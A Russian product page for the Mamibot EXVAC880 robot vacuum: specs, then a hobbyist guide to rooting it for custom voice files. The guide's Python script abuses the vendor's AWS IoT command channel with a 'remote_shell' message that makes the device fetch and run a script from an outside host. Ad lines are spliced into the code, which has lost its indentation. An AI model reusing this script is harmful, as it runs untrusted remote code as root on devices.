Mamibot EXVAC880 — революционный пылесос и робот для мытья полов с искусственным интеллектом. 4-ядерный чип R16 + DDR A7 в сочетании с алгоритмом SLAM на базе лазерной навигации LDS4.0 Мощность всасывания до 2880 Па (в трех регулируемых уровнях — 1000/2000-2880 Па). Mamibot EXVAC 880 Wisor Робот 3in1: подметание, сухая уборка и влажная уборка. Контролируемое расходование воды в режиме влажной уборки. Алгоритм VSLAM создает 3D-модель. После того, как робот сделал несколько кругов для ориентации в помещении, создается визуальная трехмерная модель поверхности. Посредством картирования робот Mamibot EXVAC 880 Wisor для всасывания и очистки всегда знает свое текущее местоположение и может легко найти путь назад к исходной точке, даже если местоположение меняется.
Пылесос-робот Mamibot EXVAC880 станет вашим надежным помощником по уборке благодаря поддержке сухого и влажного режима. Оборудованный пылесборником на 0.6 л, он способен выполнять уборку продолжительное время. Также реализована влажная уборка на гладких напольных покрытиях благодаря салфетке из микрофибры и встроенному контейнеру для воды, емкость которого составляет 370 мл.
Управление через приложение со смартфона дает возможность ограничивать зоны уборки, настраивать расписание, создавать карты перемещения. Аккумулятор с энергоемкостью 2600 мА*ч гарантирует около 110 минут в режиме непрерывной уборки. При низком уровне заряда и завершению уборки пылесос Mamibot EXVAC880 автоматически возвращается на подставку
Характеристики устройства
Основные
Назначение: для уборки пола
Площадь уборки: 200 м2 (150-200 м2)
Время уборки: 55 минут — 1 час 50 минут
База с мусоросборником: нет
Цвет корпуса: белый
Конструкция
Влажная уборка: да
Боковые щетки: 2
Турбощётка: да
Влажная салфетка (мини-швабра): да
Ультрафиолетовая лампа: нет
Объём пылесборника: 0.6 л.
Объём резервуара для воды: 0.37 л.
Датчики загрязнения: нет
Навигация
Навигационная камера: да
Лидар: да
Умная навигация: да
Датчики препятствий: контактные, инфракрасные
Датчики перепада высоты: да
«Виртуальная стена» в комплекте: нет
Настройка «виртуальной стены» из приложения: да
Автоматический возврат на базу: да
Макс. высота порогов: 20 мм
Функциональность
Режим локальной уборки: да
Программирование графика уборки: да
Дистанционное управление: мобильное приложение, пульт в комплекте
Аккумулятор и время работы
Тип аккумулятора: Li-ion
Емкость аккумулятора: 2 600 мА·ч
Время зарядки: 4 часа
Производительность и энергоэффективность
Уровень шума: 70 дБ (55-70 дБ)
Габариты
Ширина: 33 см
Глубина: 33 см
Высота: 9.8 см
Вес: 3 кг
Как получить права root на пылесосе
Расскажу как получить рута на пылесосе, не углубляясь в особые подробности.
Как делал я. У меня Windows 10 Pro
Установил Python 3.9.7_32
Затем потребовалось установить библиотеки weback.unofficial и boto3
Но так как питон свои папки в %Pach% не запихивает автоматом делаю так.
открываю командную строку и пишем команды.
cd C:\Program Files (x86)\Python39-32\Scripts
pip install weback.unofficial
pip install boto3
Учитывайте что путь до установленных компонент питона я указал свой, у вас он может отличаться. Смотрите куда он устанавливается.
запускаю IDLE (Python 3.9 32-bit)->File->New File
Вставляю код
from weback_unofficial.client import WebackApi
import boto3
import json
import os
client = WebackApi(‘+7- email’, ‘password’)
def send_topic(topic_name, payload_json):
payload = json.dumps(payload_json)
return iot_data_client.publish(
topic=topic_name,
qos=1,
payload=payload
)
разместить контекстную рекламу
session = client.get_session() # Returns Amazon Session from boto3 package
devices = client.device_list()
thing_name = devices[0][‘Thing_Name’]
iot_client = session.client(‘iot’, region_name=os.getenv(«IOT_REGION»))
vrd = iot_client.describe_endpoint(endpointType=»iot:Data-ATS»).get(«endpointAddress»)
IOT_DATA_ENDPOINT = f»https://{vrd}»
iot_data_client = session.client(‘iot-data’, endpoint_url=IOT_DATA_ENDPOINT)
response_describe_thing = iot_client.describe_thing(thingName=thing_name)
sub_type = response_describe_thing[‘attributes’][‘sub_type’]
topic_name = ‘{}/{}’.format(‘grit_tech/device_change/notify_app_2_device’, thing_name)
payload_json = {
‘Notify_Info’: ‘remote_shell’,
‘URL’: ‘http://ru.cab/adduser.sh’,
‘MD5’: ‘2c9cc46cfd59be35fbc38c7519e5f13d’,
‘AddParameters’: ‘none’,
}
send_topic(topic_name, payload_json)
нажимаю Run->Run module
сохраняю файл.
Жду
В конце не должно выйти никаких сообщений.
только появиться «>>>»
Если это произошло радуемся рут у нас есть.
Дальше нам надо зайти в приложение Weback и посмотреть адрес нашего пылесоса в нашей сети.
Теперь проверяем доступ по SSH
Запускаем Putty, который мы заранее установили.
Разворачиваем ветку SSH и кликаем на Auth, и в поле Private key file… вставляем наш ключик.
Подключиться к пылесосу для замены файлов можно через менеджер winscp (входит в состав пакета PuTTy).
Настройка простая — Выбрать протокол передачи SCP, Ввести IP адрес пылесоса, порт указать 22, имя пользователя root, в доп окне указать файл закрытого ключа private.key.ppk, сохранить настройки и нажать войти. Ну а дальше просто копируете свои файлы с заменой существующих в папку /usr/default, на всякий случай сверяя права доступа (хотя они при замене сохраняются).
Русская озвучка (Татьяна)
Поменять файлы в папке /usr/default на пылесосе на свои в формате wav
Максим — Скачать языкового пакета с фразами из к/ф «Операция Ы», «Иван Васильевич», «Джентльмены удачи»
разместить контекстную рекламу
